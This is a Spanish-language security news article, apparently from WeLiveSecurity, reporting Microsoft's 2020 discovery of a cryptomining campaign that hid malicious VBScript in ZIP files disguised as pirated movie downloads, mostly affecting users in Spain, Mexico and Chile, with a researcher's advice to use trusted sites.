En el caso concreto detectado, el código malicioso se está oculto en archivos ZIP que se presentan como películas populares y utilizan nombres de archivo como “John Wick: Chapter 3 – Parabellum”, “contagio-1080p”, “Punales_por_la_espalda_BluRay_1080p”, “La_hija_de_un_ladron” y “Lo-dejo-cuando-quiera”.

With lockdown still in place in many parts of the world, attackers are paying attention to the increase in use of pirate streaming services and torrent downloads. We saw an active coin miner campaign that inserts a malicious VBScript into ZIP files posing as movie downloads.

— Microsoft Security Intelligence (@MsftSecIntel) April 28, 2020

Una vez que la víctima descarga el archivo y ejecuta el script malicioso en su equipo, a través de la ejecución de una línea de comando que utiliza BITSAdmin, se descargan en segundo plano otros payloads maliciosos, como un script en AutoIT que decodifica una DLL de segunda etapa que, una vez cargada en la memoria del equipo, inyecta un código de criptominería en el proceso Notepad.exe mediante el proceso conocido como Hollowing.

Los atacantes no están utilizando los sitios más populares para la descarga de torrents, como es, por ejemplo, The Pirate Bay, y la mayor cantidad de infecciones tuvo lugar en España, México y Chile, explicó a Cyberscoop Tanmay Ganacharya de Microsoft.

Actividades que más realizan los usuarios de Internet durante el período de confinamiento

Cómo explicó recientemente el investigador de ESET, Daniel Cunha Barbosa, los usuarios deben ser cuidadosos en estos momentos en los que crece la demanda por videojuegos online y el consumo de películas y series, ya que tanto la descarga de archivos como mirar películas y series en sitios no oficiales puede tener consecuencias para el dispositivo con el cual se accede a estos sitios o se realizan las descargas, por lo que se recomienda utilizar sitios confiables, ya que el contenido gratuito suele estar asociado a amenazas de distinto tipo.

Fuente: www.welivesecurity.com